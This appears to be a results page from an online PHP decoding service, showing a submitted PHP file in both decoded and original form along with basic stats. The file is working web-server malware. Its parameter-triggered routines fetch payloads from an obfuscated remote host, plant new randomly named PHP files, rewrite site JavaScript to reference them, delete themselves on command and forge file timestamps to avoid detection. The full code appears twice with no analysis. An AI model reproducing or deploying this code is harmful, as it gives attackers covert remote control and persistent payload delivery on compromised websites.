Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if(isset($_GET['sdl'])&&$_GET['sdl']=='1'){if(@unlink(__FILE__)){show('buy!');}else{..
Decoded Output download
<?php if(isset($_GET['sdl'])&&$_GET['sdl']=='1'){if(@unlink(__FILE__)){show('buy!');}else{show('error');}exit;}set_good_mtime_one(__FILE__);if(function_exists('curl_version')){function get_data_yo($url){$ch=curl_init();curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);$data=curl_exec($ch);curl_close($ch);return $data;}}elseif(ini_get('allow_url_fopen')){function get_data_yo($url){if(preg_match('@^https:@',$url)){$options=array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false));$data=file_get_contents($url,false,stream_context_create($options));}else{$data=file_get_contents($url);}return $data;}}else{die('get_data_yo false');function get_data_yo($url){return false;}}function writefile($file,$data){$fg=fopen($file,'w+');fputs($fg,$data);fclose($fg);}function lopd(){$l=8*8;$hh=preg_replace('@[\d]+@','','23c31o08r9e303');$okava=array('com','org','de','it','fr','us','jp');$m='e';$ada='-t-r-';$rr=str_replace(array('-','.','..','e','w','o'),'',$ada);return $hh.$l.$rr.$m.$m.'.'.$okava[0];}if(isset($_GET['rr'])&&$_GET['rr']){$k=get_data_yo('http://'.lopd().'/st2/mb1.txt');if($k){writefile('rr-'.basename(__FILE__),$k);echo "123";}else{echo '!k';}exit;}if(isset($_GET['pa'])&&$_GET['pa']){$target=(string) $_GET['pa'];}else{die('file not found');}if(isset($_GET['vr'])&&$_GET['vr']){echo '123r';exit;}$script_fullpath=$_SERVER['SCRIPT_FILENAME'];$script=$_SERVER['PHP_SELF'];if(strstr($script_fullpath,$script)){$abs=str_replace($script,'',$script_fullpath);if(!is_readable($abs)){echo $abs.' !is_readable';exit;}}$fpath=$abs.'/'.$target;if(!file_exists($fpath)){die('wrong pa');}$jss=glob($fpath.'/*.js');$found=false;$regex="@/'\+'([^']+)'\+'\.'\+onesymbol\+threesymbol\+onesymbol@s";foreach($jss as $it){$cont=file_get_contents($it);preg_match($regex,$cont,$m);if(isset($m[1])){$phpfname=$m[1];preg_match("@&'\+serialize\(\{ '([^']+)':@s",$cont,$m2);if(isset($m2[1])){$sweetdr=$m2[1];}else{die('!sweet-dr');}$found=true;break;}}if($found==false){die('!found');}$k=get_data_yo('http://'.lopd().'/st3/pki.txt');if(!$k)die('!$k');if(isset($it)&&isset($phpfname)){$old_phpfname=$phpfname;$phpfname=ra_s(rand(3,5));$cont=str_replace("'+'".$old_phpfname."'+'.'","'+'".$phpfname."'+'.'",$cont);writefile($it,$cont);}$content=$k;$content=str_replace('{pathtofolder}',$target,$content);$content=str_replace('{swee1-drea1m}',$sweetdr,$content);$content=str_replace('{pwifile}',$phpfname,$content);writefile($fpath.'/'.$phpfname.'.php',$content);set_good_mtime_one($fpath.'/'.$phpfname.'.php');echo "123
";function ra_s($lenght){$pref='';$char='abcdefghijklmnopqrstuvwxyz';while(strlen($pref)<$lenght)$pref.=$char[rand(0,25)];return $pref;}function set_good_mtime_one($file){$list=glob($file);$good_mtime=get_good_mtime(dirname($file));foreach($list as $item){touch($file,$good_mtime);}}function get_good_mtime($dir){$places=array($dir.'/../',$dir.'/../../',$_SERVER['DOCUMENT_ROOT'].'/');$files=array();$my_place='';foreach($places as $place){$files=getPhpFiles($place);if(count($files)>0){$my_place=$place;break;}}if(count($files)==0){foreach($places as $place){$files=getAllFiles($place);if(count($files)>0){$my_place=$place;break;}}}if(count($files)==0){return false;}$good_mtime=copyMtime($my_place,$files);return $good_mtime;}function getPhpFiles($path){$bad_names=array('index.php',);$files=scan_dir($path);$phpfiles=array();foreach($files as $item){if(in_array($item,array_merge(array('.','..'),$bad_names))){continue;}if(!preg_match('@(\.php$)@i',$item)){continue;}$phpfiles[]=$item;}return $phpfiles;}function getAllFiles($path){$bad_names=array();$files=scan_dir($path);$phpfiles=array();foreach($files as $item){if(in_array($item,array_merge(array('.','..'),$bad_names))){continue;}$phpfiles[]=$item;}return $phpfiles;}function scan_dir($dir){if(function_exists('scandir')){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh)))$files[]=$filename;return $files;}}function copyMtime($path,$files){$data=array();foreach($files as $file){$mtime=filemtime($path.'/'.$file);if(!isset($data[$mtime])){$data[$mtime]=1;}else{$data[$mtime]+=1;}}$max_k=null;$max_v=null;foreach($data as $k=>$v){if($v>=$max_v){$max_v=$v;$max_k=$k;}}return $max_k;} ?>
Did this file decode correctly?
Original Code
<?php if(isset($_GET['sdl'])&&$_GET['sdl']=='1'){if(@unlink(__FILE__)){show('buy!');}else{show('error');}exit;}set_good_mtime_one(__FILE__);if(function_exists('curl_version')){function get_data_yo($url){$ch=curl_init();curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,8);$data=curl_exec($ch);curl_close($ch);return $data;}}elseif(ini_get('allow_url_fopen')){function get_data_yo($url){if(preg_match('@^https:@',$url)){$options=array("ssl"=>array("verify_peer"=>false,"verify_peer_name"=>false));$data=file_get_contents($url,false,stream_context_create($options));}else{$data=file_get_contents($url);}return $data;}}else{die('get_data_yo false');function get_data_yo($url){return false;}}function writefile($file,$data){$fg=fopen($file,'w+');fputs($fg,$data);fclose($fg);}function lopd(){$l=8*8;$hh=preg_replace('@[\d]+@','','23c31o08r9e303');$okava=array('com','org','de','it','fr','us','jp');$m='e';$ada='-t-r-';$rr=str_replace(array('-','.','..','e','w','o'),'',$ada);return $hh.$l.$rr.$m.$m.'.'.$okava[0];}if(isset($_GET['rr'])&&$_GET['rr']){$k=get_data_yo('http://'.lopd().'/st2/mb1.txt');if($k){writefile('rr-'.basename(__FILE__),$k);echo "123";}else{echo '!k';}exit;}if(isset($_GET['pa'])&&$_GET['pa']){$target=(string) $_GET['pa'];}else{die('file not found');}if(isset($_GET['vr'])&&$_GET['vr']){echo '123r';exit;}$script_fullpath=$_SERVER['SCRIPT_FILENAME'];$script=$_SERVER['PHP_SELF'];if(strstr($script_fullpath,$script)){$abs=str_replace($script,'',$script_fullpath);if(!is_readable($abs)){echo $abs.' !is_readable';exit;}}$fpath=$abs.'/'.$target;if(!file_exists($fpath)){die('wrong pa');}$jss=glob($fpath.'/*.js');$found=false;$regex="@/'\+'([^']+)'\+'\.'\+onesymbol\+threesymbol\+onesymbol@s";foreach($jss as $it){$cont=file_get_contents($it);preg_match($regex,$cont,$m);if(isset($m[1])){$phpfname=$m[1];preg_match("@&'\+serialize\(\{ '([^']+)':@s",$cont,$m2);if(isset($m2[1])){$sweetdr=$m2[1];}else{die('!sweet-dr');}$found=true;break;}}if($found==false){die('!found');}$k=get_data_yo('http://'.lopd().'/st3/pki.txt');if(!$k)die('!$k');if(isset($it)&&isset($phpfname)){$old_phpfname=$phpfname;$phpfname=ra_s(rand(3,5));$cont=str_replace("'+'".$old_phpfname."'+'.'","'+'".$phpfname."'+'.'",$cont);writefile($it,$cont);}$content=$k;$content=str_replace('{pathtofolder}',$target,$content);$content=str_replace('{swee1-drea1m}',$sweetdr,$content);$content=str_replace('{pwifile}',$phpfname,$content);writefile($fpath.'/'.$phpfname.'.php',$content);set_good_mtime_one($fpath.'/'.$phpfname.'.php');echo "123\n";function ra_s($lenght){$pref='';$char='abcdefghijklmnopqrstuvwxyz';while(strlen($pref)<$lenght)$pref.=$char[rand(0,25)];return $pref;}function set_good_mtime_one($file){$list=glob($file);$good_mtime=get_good_mtime(dirname($file));foreach($list as $item){touch($file,$good_mtime);}}function get_good_mtime($dir){$places=array($dir.'/../',$dir.'/../../',$_SERVER['DOCUMENT_ROOT'].'/');$files=array();$my_place='';foreach($places as $place){$files=getPhpFiles($place);if(count($files)>0){$my_place=$place;break;}}if(count($files)==0){foreach($places as $place){$files=getAllFiles($place);if(count($files)>0){$my_place=$place;break;}}}if(count($files)==0){return false;}$good_mtime=copyMtime($my_place,$files);return $good_mtime;}function getPhpFiles($path){$bad_names=array('index.php',);$files=scan_dir($path);$phpfiles=array();foreach($files as $item){if(in_array($item,array_merge(array('.','..'),$bad_names))){continue;}if(!preg_match('@(\.php$)@i',$item)){continue;}$phpfiles[]=$item;}return $phpfiles;}function getAllFiles($path){$bad_names=array();$files=scan_dir($path);$phpfiles=array();foreach($files as $item){if(in_array($item,array_merge(array('.','..'),$bad_names))){continue;}$phpfiles[]=$item;}return $phpfiles;}function scan_dir($dir){if(function_exists('scandir')){return scandir($dir);}else{$dh=opendir($dir);while(false!==($filename=readdir($dh)))$files[]=$filename;return $files;}}function copyMtime($path,$files){$data=array();foreach($files as $file){$mtime=filemtime($path.'/'.$file);if(!isset($data[$mtime])){$data[$mtime]=1;}else{$data[$mtime]+=1;}}$max_k=null;$max_v=null;foreach($data as $k=>$v){if($v>=$max_v){$max_v=$v;$max_k=$k;}}return $max_k;}
Function Calls
set_good_mtime_one | 1 |
Stats
MD5 | c75b073ec9ca1e404059baa7eef38e2d |
Eval Count | 0 |
Decode Time | 113 ms |